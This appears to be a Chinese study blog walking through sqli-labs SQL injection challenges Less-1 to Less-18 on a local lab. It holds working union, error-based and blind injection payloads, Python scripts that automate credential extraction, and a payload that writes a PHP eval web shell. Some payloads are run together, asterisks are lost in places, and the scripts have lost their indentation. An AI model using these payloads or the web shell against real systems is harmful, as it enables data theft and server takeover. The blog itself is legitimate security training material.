Web安全SQL修炼计划 基础挑战

Web安全修炼第一周。

原理

SQL注入起因于数据和代码的界限分割不明确。

0x00 GET单查询注入

Less-1 基于错误的GET单引号字符型注入

尝试写入?id=1

1
2
3
4
5
http://127.0.0.1:2333/Less-1/?id=1'

Welcome    Dhakkan

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

limit 0,1表示从表中的第0个数据开始,只读取1个。

因为单引号未闭合导致sql语法报错,可以得出未过滤单引号的结论,则这时需要在注入的语句最后加上%23#url编码或是--+来闭合原构造语句末尾的分号。

接下来注出字段名,order by函数是用来按照字段名排序查询,此处可以使用123等来按照字段名的序号查询,从而测试该表的字段数,若不存在该字段序号则会返回错误。

1
2
3
4
5
http://127.0.0.1:2333/Less-1/?id=1'order by 4 --+

Welcome Dhakkan

Unknown column '4' in 'order clause'

Unknown column '4' in 'order clause'表示在按照第四列字段排序的时候出错,则不存在第4个字段,那么该表共有3个字段。

使用union联合查询来同时查询多个语句,使用union联合查询时,前后两个语句查询返回的结果集需要有着相同列数。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-1/?id=1'  union select 1,2,3 --+

Welcome Dhakkan

Your Login name:Dumb
Your Password:Dumb

这里没有结果的原因是mysql_fetch_arra()函数只被调用了一次 ,并没有将结果循环输出 ,而mysql_fetch_arra()的作用是从结果集中取第一行作为关联数组或数字数组或二者兼有。

因此需要使第一行查询的结果是空,则它就会获取union联合查询后的结果渲染在网页上了。故使得id=-1

1
2
3
4
5
6
http://127.0.0.1:2333/Less-1/?id=-1'  union select 1,2,3 --+

Welcome Dhakkan

Your Login name:2
Your Password:3

concat(str1,str2,…)函数会拼接多个字符串,中间无分隔符,而concat_ws(separator,str1,str2,…)函数是将separator作为分隔符来拼接的多个字符串。例如select concat('1','2','3');返回的值是123,而select concat_ws('-','1','2','3');返回的值是1,2,3

user()函数返回当前链接的用户名,database()函数返回当前链接使用的数据库名。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-1/?id=-1'  union select 1,2,concat_ws(char(32,32),user(),database()) --+

Welcome Dhakkan

Your Login name:2
Your Password:root@localhost security

那么现在得到了一个重要的信息,即当前的表名为security

相关补充

补一下mysql的相关知识。

mysql中的information_scherma从字面上来说是信息计划表,像是一个索引,又或者说这是一个目录,在这里面保存着关于mysql其他数据库的库名、表名、字段名、字段类型等等信息。

  • schemata表:提供了当前mysql实例中所有数据库的信息。命令show databases;的结果取之此表。

  • tables表:提供了关于数据库中的表的信息【包括视图。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。命令show tables from schemaname;的结果取之此表。

  • columns表:提供了表中的列信息。命令show columns from schemaname.tablename;的结果取之此表。

  • statistics表:提供了关于表索引的信息。命令show index from schemaname.tablename;的结果取之此表。

  • user_privileges【用户权限表:给出了关于全程权限的信息。该信息源自mysql.user授权表,是非标准表。

  • schema_privileges【方案权限表:给出了关于方案【数据库权限的信息。该信息来自mysql.db授权表,是非标准表。

  • table_privileges【表权限表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表,是非标准表。

  • column_privileges【列权限表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。

  • character_sets【字符集表:提供了mysql实例可用字符集的信息。命令show character set;结果集取之此表。

  • collations表:提供了关于各字符集的对照信息。

  • collation_character_set_applicability表:指明了可用于校对的字符集。这些列等效于show collation;的前两个显示字段。

  • table_constraints表:描述了存在约束的表,以及表的约束类型。

  • key_column_usage表:描述了具有约束的键列。

  • routines表:提供了关于存储子程序【存储程序和函数的信息。此时,routines表不包含自定义函数【udf。名为mysql.proc name的列指明了对应于information_schema.routines表的mysql.proc表列。

  • views表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。

  • triggers表:提供了关于触发程序的信息。必须有super权限才能查看该表。

然后继续构造式子,其中group_concat()这个函数的作用是拼接全部字符串。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-1/?id=-1' union select 1,TABLE_SCHEMA,group_concat(table_name) from information_schema.tables where table_schema like 'security'--+

Welcome Dhakkan

Your Login name:security
Your Password:emails,referers,uagents,users

爆所有数据名。

1
select group_concat(SCHEMA_NAME) from information_schema.schemata;

得到当前库的所有表。

1
select group_concat(table_name) from information_schema.tables where table_schema=database();

得到表中所有的字段名。

1
select group_concat(column_name) from information_schema.columns where table_name='table_name';

得到字段具体的值。

1
select group_concat(column_name,' ',column_name) from table_name;

得到字段名。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where  table_name='users' --+

Welcome Dhakkan

Your Login name:2
Your Password:id,username,password

得到表中全部信息。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-1/?id=-1' union select 1,2,group_concat(username,' ',password) from users --+

Welcome Dhakkan

Your Login name:2
Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4

Less-2 基于错误的GET整型注入

先在被挨打的边缘试探一下。

1
2
3
4
5
http://127.0.0.1:2333/Less-2/?id=1'

Welcome Dhakkan

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

根据返回的错误来看,没有数值即为整型注入,因为sql语句对于数字型的数据可以不加单引号闭合,不加注释,于是构造?id=1 and 1=1

1
2
3
4
5
6
http://127.0.0.1:2333/Less-2/?id=1 and 1=1

Welcome Dhakkan

Your Login name:Dumb
Your Password:Dumb

有返回值,可以继续注入,后续步骤一如Less-1。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-2/?id=-1 union select 1,2,group_concat(username,' ',password) from users

Welcome Dhakkan

Your Login name:2
Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4

Less-3 基于错误的GET单引号变形字符型注入

再次在被挨打的边缘试探一下。

1
2
3
4
5
http://127.0.0.1:2333/Less-3/?id=1'

Welcome Dhakkan

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以知道后端的sql语句在接收的参数两边加上了小括号,于是构造如下语句。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-3/?id=-1') or '1'='1' --+

Welcome Dhakkan

Your Login name:Dumb
Your Password:Dumb

然后还是像Less-1一样的后续。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-3/?id=-1') union select 1,2,group_concat(username,' ',password) from users--+

Welcome Dhakkan

Your Login name:2
Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4

Less-4 基于错误的GET双引号变形字符型注入

试探。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-4/?id=1'

Welcome Dhakkan

Your Login name:Dumb
Your Password:Dumb

无报错信息,故推测单引号可能被双引号包含从而闭合,因此构造双引号闭合。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-4/?id=1") or 1=1 --+

Welcome Dhakkan

Your Login name:Dumb
Your Password:Dumb

还是一样,故不赘述。

1
2
3
4
5
6
http://127.0.0.1:2333/Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--sLess-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--Less-4/?id=-1") union select 1,2,group_concat(username,' ',password) from users--s+

Welcome Dhakkan

Your Login name:2
Your Password:Dumb Dumb,Angelina I-kill-you,Dummy p@ssword,secure crappy,stupid stupidity,superman genious,batman mob!le,admin admin,admin1 admin1,admin2 admin2,admin3 admin3,dhakkan dumbo,admin4 admin4

0x01 GET双查询注入

Less-5 基于双查询的GET单引号字符型注入

根据题意,这是一个双查询单引号字符型注入,即将Group by与一个聚合函数一起嵌套使用,例如**count(*)**,可以将查询的部分内容作为错误信息返回。也就发展为今天的二次注入查询。

原理补充

0x00 对比语句
1
2
3
4
5
mysql> select count(*),concat(database(),floor(rand(0)*2)) as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key

mysql> select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key'

这两句查询语句的差异是floor()函数位置的不同,但多次测试的结果都是一致表明报错与语句中函数位置无关。

0x01 测试rand(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> create table users(id int(10),username char(20),password char(20));
Query OK, 0 rows affected (0.01 sec)

mysql> insert into users(id,username,password) VALUE (1,'test1','test1');
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from users group by concat(database(),floor(rand(0)*2));
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

执行多次没有报错,尝试增加数据再进行尝试,直到第三条数据插入后,出现了错误。

1
2
mysql> select count(*) from users group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'test1' for key 'group_key'
0x02 测试rand()
1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> create table users1(id int(10),username char(20),password char(20));
Query OK, 0 rows affected (0.01 sec)

insert into users1(id,username,password) VALUE (1,'test1','test1');
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from users1 group by concat(database(),floor(rand()*2));
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

依旧执行多次没有报错。

在插入第二条数据测试后出现错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select count(*) from users1 group by concat(database(),floor(rand()*2));
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

mysql> select count(*) from users1 group by concat(database(),floor(rand()*2));
+----------+
| count(*) |
+----------+
| 1 |
| 1 |
+----------+
2 rows in set (0.00 sec)

mysql> select count(*) from users1 group by concat(database(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'test0' for key 'group_key'
0x03 多数据测试

使用rand()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
mysql> select floor(rand()*2) from users;
+-----------------+
| floor(rand()*2) |
+-----------------+
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 0 |
| 1 |
+-----------------+
17 rows in set (0.00 sec)

mysql> select floor(rand()*2) from users;
+-----------------+
| floor(rand()*2) |
+-----------------+
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+-----------------+
17 rows in set (0.00 sec)

mysql> select floor(rand()*2) from users;
+-----------------+
| floor(rand()*2) |
+-----------------+
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
+-----------------+
17 rows in set (0.00 sec)

多次测试发现结果都不同,然后使用rand(0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
17 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
17 rows in set (0.00 sec)

mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
+------------------+
17 rows in set (0.00 sec)

多次测试结果一样。

0x04 虚拟表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin | admin |
| 16 | admin | admin |
| 17 | admin | admin |
| 18 | admin | admin |
+----+----------+------------+
17 rows in set (0.00 sec)

mysql> select username,count(*) from users group by username;
+----------+----------+
| username | count(*) |
+----------+----------+
| admin | 5 |
| admin1 | 1 |
| admin2 | 1 |
| admin3 | 1 |
| admin4 | 1 |
| Angelina | 1 |
| batman | 1 |
| dhakkan | 1 |
| Dumb | 1 |
| Dummy | 1 |
| secure | 1 |
| stupid | 1 |
| superman | 1 |
+----------+----------+
13 rows in set (0.00 sec)

sql查询在使用group by()这个函数分组的时候,会建立一张虚拟表。

1
2
3
4
5
6
7
+----------+----------+
| username | count(*) |
+----------+----------+
| | |
| | |
| | |
+----------+----------+

然后开始查询数据库,取出数据库数据看虚拟表中是否存在。

不存在则将要分组的数据插入虚拟表中以待最后输出,存在则执行count++

0x05 rand(0)函数

rand()函数在查询的时候使用时会被执行多次计算结果值,且当种子值固定时,**floor(rand(0)*2)得出的值是也是固定的,为011011001110111**……【画重点。

而上文的多次计算结果值这个操作,即使用group by()分组的时候计算一次,倘若虚拟表中无该字段,则插入表中的时候再次计算一次。

先取第一条记录,第一次计算floor(rand(0)2)=0,虚拟表中无第一条记录,于是插入的时候第二次计算floor(rand(0)2)=1,然后将结果插入。

1
2
3
4
5
6
7
+------------------+----------+
| floor(rand(0)*2) | count(*) |
+------------------+----------+
| 1 | 1 |
| | |
| | |
+------------------+----------+

取第二条记录,第三次计算**floor(rand(0)*2)=1,这时虚拟表中已经存在1,则执行count++**。

1
2
3
4
5
6
7
+------------------+----------+
| floor(rand(0)*2) | count(*) |
+------------------+----------+
| 1 | 2 |
| | |
| | |
+------------------+----------+

再取第三条记录,第四次计算floor(rand(0)2)=0,此时查询虚拟表中并不存在0,也就是无此记录,因此插入的时候开始第五次计算floor(rand(0)2)=1

这时报错原理出来了。

第五次计算得出的**floor(rand(0)*2)=1在插入时因为同之前已经插入过的1**重复,故抛出了报错信息。

取三条数据,五次计算,因此使用rand(0)时至少需要三条以上数据才会报错。

0x06 rand()函数

相对于floor(rand(0)2)而言,floor(rand()2)由于没有加入随机因子所以计算的值是不固定的。

取第一条记录,第一次计算floor(rand()2)=0,虚拟表中无第一条记录,于是插入的时候第二次计算floor(rand()2)=1,然后将结果插入。

1
2
3
4
5
6
7
+------------------+----------+
| floor(rand()*2) | count(*) |
+------------------+----------+
| 1 | 1 |
| | |
| | |
+------------------+----------+

取第二条记录,第三次计算floor(rand()2)=0,这时虚拟表中不存在0,则插入时第四次计算floor(rand()2)=1,冲突报错。

但是倘若在前几次由于随机性,例如在上述步骤的第四次插入计算时**floor(rand()*2)=0**,查询出来的虚拟表成了这样。

1
2
3
4
5
6
7
+------------------+----------+
| floor(rand()*2) | count(*) |
+------------------+----------+
| 1 | 1 |
| 0 | 1 |
| | |
+------------------+----------+

那么后面不论查询几次都不会报错了,然后看题。

1
2
3
4
5
http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select database()),'-----', floor(rand(0)*2)) --+

Welcome Dhakkan

Duplicate entry 'security-----1' for key 'group_key'

再构造语句查询表名。

1
2
3
4
5
http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),'-----', floor(rand(0)*2)) --+

Welcome Dhakkan

Duplicate entry 'users-----1' for key 'group_key'

后面几乎和之前的一样,只要构造嵌套的第二个select语句即可。

1
2
3
4
5
http://127.0.0.1:2333/Less-5/?id=1' union select 1,2,count(*) as a from information_schema.tables group by concat((select column_name from information_schema.columns where  table_name='users' limit 0,1),'-----', floor(rand(0)*2)) --+

Welcome Dhakkan

Duplicate entry 'id-----1' for key 'group_key'

这样从爆出全部字段。

1
2
3
4
5
http://127.0.0.1:2333/Less-5/?id=1' union select 1,1,count(*) as a from information_schema.tables group by concat((select concat(username,' ',password) from users limit 0,1),'-----', floor(rand(0)*2)) --+

Welcome Dhakkan

Duplicate entry 'Dumb Dumb-----1' for key 'group_key'

Less-6 基于双查询的GET双引号字符型注入

一如Less-2相对于Less-1一样,同Less-5payload差不多,改单引号为双引号即可。

1
2
3
4
5
http://127.0.0.1:2333/Less-6/?id=1" union select 1,1,count(*) as a from information_schema.tables group by concat((select concat(username,' ',password) from users limit 0,1),'-----', floor(rand(0)*2)) --+

Welcome Dhakkan

Duplicate entry 'Dumb Dumb-----1' for key 'group_key'

0x02 GET导出文件注入

Less-7 基于导出文件的GET注入

相关补充
load_file()

该函数会读取文件并返回该文件的内容作为一个字符串,但有使用条件的限制。

  1. 必须有权限读取并且文件必须完全可读,**and (select count(*) from mysql.user)>0**返回正常结果即有读写权限,反之亦然。
  2. 欲读取文件必须在服务器上且需指定完整路径。
  3. 欲读取文件必须小于max_allowed_packet
load data infile

该函数会从文件中读取行然后存入表中,当错误代码是2的时候的时候,文件不存在,错误代码为13的时候,没有权限。

select ... into outfile 'file_name'

该函数会将查询到的结果写入文件。

回到题目。

1
2
3
4
5
http://127.0.0.1:2333/Less-7/?id=1')) union select 1,2,3 into outfile '/var/www/html/Less-7/1.txt' --+

Welcome Dhakkan

You have an error in your SQL syntax

虽然报错,但是访问该文件以及可以读取到注出的数据了,甚至可以写入小🐎。

1
http://127.0.0.1:2333/Less-7/?id=1')) union select 1,2,'<?php @eval($_post["south"])?>' into outfile '/var/www/html/Less-7/1.txt' --+

0x03 GET单查询盲注

Less-8 基于布尔的GET单引号字符型盲注

根据提示,这是布尔盲注,即在不知道数据库返回值的情况下对数据库进行注入攻击,几个简单函数就不做赘述了。

脚本跑出数据库名,这儿使用二分法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import sys

url = "http://127.0.0.1:2333/Less-8/"
result = ""

for i in range(1, 40):
payload = "?id=1' and if(length(database())={length},1,0) --+"
# print payload
r = requests.get(url=url + payload.format(length=str(i)))
if "You are in" in r.text:
# print i
for j in range(1, i + 1):
min = 48
max = 128
while min < max:
payload = "?id=1' and if(ascii(substr((database()),{position},1)){operator}{mid},1,0) --+"
if max - min == 1:
r = requests.get(url=url + payload.format(position=str(j), operator="=", mid=str(mid)))
if "You are in" in r.text:
break
else:
mid = max
break
else:
mid = (max + min) // 2
r = requests.get(url=url + payload.format(position=str(j), operator=">", mid=str(mid)))
if "You are in" in r.text:
min = mid
else:
max = mid
result += chr(mid)
sys.stdout.write("\r%s" % result)
sys.stdout.flush()
break

获取表名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import sys

url = "http://127.0.0.1:2333/Less-8/"
result = ""
command = "select group_concat(table_name) from information_schema.tables where table_schema='security'"
for i in range(1, 40):
payload = "?id=1' and if(ascii(substr(({command}),{position},1))>0,1,0) --+"
r = requests.get(url=url + payload.format(command=command, position=str(i)))
if "You are in" in r.text:
# print i
min = 0
max = 255
while min < max:
# 注出第一个表的表名
payload = "?id=1' and if(ascii(substr(({command}),{position},1)){operator}{mid},1,0) --+"
if max - min == 1:
r = requests.get(
url=url + payload.format(command=command, position=str(i), operator="=", mid=str(mid)))
if "You are in" in r.text:
break
else:
mid = max
break
else:
mid = (max + min) // 2
r = requests.get(
url=url + payload.format(command=command, position=str(i), operator=">", mid=str(mid)))
if "You are in" in r.text:
min = mid
else:
max = mid
result += chr(mid)
sys.stdout.write("\r%s" % result)
sys.stdout.flush()
else:
break

获取表中字段数。

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://127.0.0.1:2333/Less-8/"
result = ""
command = "select count(column_name) from information_schema.columns where table_schema='eight' and table_name='flag'"
for i in range(1, 40):
payload = "?id=1' and ({command})={position} --+"
r = requests.get(url=url + payload.format(command=command, position=str(i)))
if "You are in" in r.text:
print(i)

获取表中字段名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import sys

url = "http://127.0.0.1:2333/Less-8/"
result = ""
command = "select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"
for i in range(1, 40):
payload = "?id=1' and if(ascii(substr(({command}),{position},1))>0,1,0) --+"
r = requests.get(url=url + payload.format(command=command, position=str(i)))
if "You are in" in r.text:
# print i
min = 0
max = 255
while min < max:
# 注出第一个表的表名
payload = "?id=1' and if(ascii(substr(({command}),{position},1)){operator}{mid},1,0) --+"
if max - min == 1:
r = requests.get(
url=url + payload.format(command=command, position=str(i), operator="=", mid=str(mid)))
if "You are in" in r.text:
break
else:
mid = max
break
else:
mid = (max + min) // 2
r = requests.get(
url=url + payload.format(command=command, position=str(i), operator=">", mid=str(mid)))
if "You are in" in r.text:
min = mid
else:
max = mid
result += chr(mid)
sys.stdout.write("\r%s" % result)
sys.stdout.flush()
else:
break

得到全部字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import sys

url = "http://127.0.0.1:2333/Less-8/"
result = ""
command = "select group_concat(username,' ',password) from users"
i = 0
while (True):
i += 1
payload = "?id=1' and if(ascii(substr(({command}),{position},1))>0,1,0) --+"
r = requests.get(url=url + payload.format(command=command, position=str(i)))
if "You are in" in r.text:
# print i
min = 0
max = 255
while min < max:
# 注出第一个表的表名
payload = "?id=1' and if(ascii(substr(({command}),{position},1)){operator}{mid},1,0) --+"
if max - min == 1:
r = requests.get(
url=url + payload.format(command=command, position=str(i), operator="=", mid=str(mid)))
if "You are in" in r.text:
break
else:
mid = max
break
else:
mid = (max + min) // 2
r = requests.get(
url=url + payload.format(command=command, position=str(i), operator=">", mid=str(mid)))
if "You are in" in r.text:
min = mid
else:
max = mid
result += chr(mid)
sys.stdout.write("\r%s" % result)
sys.stdout.flush()
else:
break

Less-9 基于时间的GET单引号字符型盲注

在没有任何输出显示的时候,可以使用时间盲注,利用数据库的延时语句来注入,脚本和上一题大同小异,使用了sleep()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import time
import requests
import sys

url = "http://127.0.0.1:2333/Less-9/"
result = ""
command = "select group_concat(username,' ',password) from users"
i = 0
while True:
i += 1
startTime = time.time()
payload = "?id=1' and if(ascii(substr(({command}),{position},1))>0,sleep(2),1) --+"
r = requests.get(url=url + payload.format(command=command, position=str(i)))
if time.time() - startTime > 2:
for j in range(32, 127):
payload = "?id=1' and if(ascii(substr(({command}),{position},1))={mid},sleep(2),1) --+"
startTime = time.time()
r = requests.get(
url=url + payload.format(command=command, position=str(i), mid=str(j)))
if time.time() - startTime > 2:
result += chr(j)
break
sys.stdout.write("\r%s" % result)
sys.stdout.flush()
else:
break

Less-10 基于时间的GET双引号字符型盲注

。。没啥好说的,改个双引号闭合就行了。

0X04 POST单查询注入

Less-11 基于错误的POST单引号字符型注入

Less-1大同小异,把get换成post罢了。

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://127.0.0.1:2333/Less-11/"
data = {
"passwd": "1",
"uname": "-1' union select 1,group_concat(username,',',password,'\n') from users #"
}

r = requests.post(url=url, data=data)
print r.text

Less-12 基于错误的POST双引号变形字符型注入

Less-4大同小异,把get换成post罢了。

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://127.0.0.1:2333/Less-12/"
data = {
"passwd": "1",
"uname": '-1") union select 1,group_concat(username,",",password,"\n") from users #'
}

r = requests.post(url=url, data=data)
print r.text

0X05 POST双查询注入

Less-13 基于双查询的POST单引号变形字符型注入

原理同Less-5

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://127.0.0.1:2333/Less-13/"
data = {
"passwd": "1",
"uname": "-1') union select 1,count(*) as a from information_schema.tables group by concat((select concat(username,',',password) from users limit 0,1),' ', floor(rand(0)*2)) #"
}

r = requests.post(url=url, data=data)
print r.text

Less-14 基于双查询的POST双引号字符型注入

原理同Less-5

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://127.0.0.1:2333/Less-14/"
data = {
"passwd": "1",
"uname": '-1" union select 1,count(*) as a from information_schema.tables group by concat((select concat(username,",",password) from users limit 0,1)," ", floor(rand(0)*2)) #'
}

r = requests.post(url=url, data=data)
print r.text

0X05 POST单查询盲注

Less-15 基于时间的POST单引号字符型盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time
import requests
import sys

url = "http://127.0.0.1:2333/Less-15/"
result = ""
command = "select group_concat(username,' ',password) from users"
i = 0
while True:
i += 1
startTime = time.time()
payload = "admin' and if(ascii(substr(({command}),{position},1))>0,sleep(2),1) #"
data = {
"passwd": "1",
"uname": payload.format(command=command, position=str(i))
}
r = requests.post(url=url, data=data)
if time.time() - startTime > 2:
for j in range(32, 127):
payload = "admin' and if(ascii(substr(({command}),{position},1))={mid},sleep(2),1) #"
startTime = time.time()
data = {
"passwd": "1",
"uname": payload.format(command=command, position=str(i), mid=str(j))
}
r = requests.post(url=url, data=data)
if time.time() - startTime > 2:
result += chr(j)
break
sys.stdout.write("\r%s" % result)
sys.stdout.flush()
else:
break

Less-16 基于时间的POST双引号变形字符型盲注

Less-15差不多,测试一下使用双引号加右括号构造闭合。

0x06 POST更新注入

Less-17 基于错误的POST更新注入

随手测试了一下,usernae被过滤了,password可以注入。

相关补充
extractvalue(xml_frag,xpath_expr)

这里需要提及的一个是extractvalue(xml_frag,xpath_expr)函数,作用是对xml文档进行查询,其中第一个接收的参数是文件名,第二个则是文件路径,因此对第二个参数传入的值会做检测,判断是否满足如/xxx/xxx/xxx/xpath格式,错误则会返回该值并报错,由于传入的是查询语句,因此会在执行后获取返回值再判断,故返回的是查询结果,从而达到攻击目的。

1
passwd=admin' or extractvalue(1,concat('~',(select * from (select concat_ws(',',id,username,password) from users limit 0,1) a))) --+&uname=admin
updatexml(xml_target,xpath_expr,new_xml)

xml_target中的数据使用xpath_expr正则匹配替换为new_xml,报错原理同上。

故此,思路是要使得extractvalue()函数报错,因此构造extractvalue(1,concat('~',(select database()))),同理,使用updatexml()构造的payloadupdatexml(1,concat('~',(select database())),0)

1
passwd=admin' or updatexml(1,concat('~',(select * from (select concat_ws(',',id,username,password) from users limit 0,1) a)),0) --+&uname=admin

Less-18 基于错误的POST User-Agent注入

相关补充
HTTP头部详解
  • Accept:客户端申明自己接受的介质类型,/表示任何类型,type/表示该类型下的所有子类型,如text/type/sub-type表示单独一种类型,如text/html
  • Accept-Charset:客户端申明自己接收的字符集。
  • Accept-Encoding:客户端申明自己接收的编码函数,通常指定压缩函数,是否支持压缩, 支持什么压缩函数【gzip、deflate
  • Accept-Language:客户端申明自己接收的语言,语言跟字符集的区别:中文是语言,中文有多种字符集,比如big5、gb2312、gbk等等。
  • Accept-RangesWeb服务器表明自己是否接受获取其某个实体的一部分【比如文件的一部分的请求。bytes表示接受,none表示不接受。
  • Age:当代理服务器用自己缓存的实体去响应请求时,用该头部表明该实体从产生到现在经过多长时间了。
  • Authorization:当客户端接收到来自Web服务器的WWW-Authenticate响应时,用该头部来回应自己的身份验证信息给Web服务器。
  • Cache-Control:请求:no-cache【不要缓存的实体,要求现在从Web服务器去取;max-age【只接受Age值小于max-age值,并且没有过期的对象;max-stale【可以接受过去的对象,但是过期时间必须小于max-stale值;min-fresh【接受其新鲜生命期大于其当前Agemin-fresh值之和的缓存对象。响应:public【可以用Cached内容回应任何用户;private【只能用缓存内容回应先前请求该内容的那个用户;no-cache【可以缓存,但是只有在跟Web服务器验证了其有效后,才能返回给客户端;max-age:【本响应包含的对象的过期时间。ALL:no-store【不允许缓存。
  • Connection:请求:close【告诉Web服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了;keepalive【告诉Web服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求。响应:close【连接已经关闭;keepalive【连接保持着,在等待本次连接的后续请求;Keep-Alive【如果客户端请求保持连接,则该头部表明希望Web服务器保持连接多长时间【秒。如Keep-Alive: 300
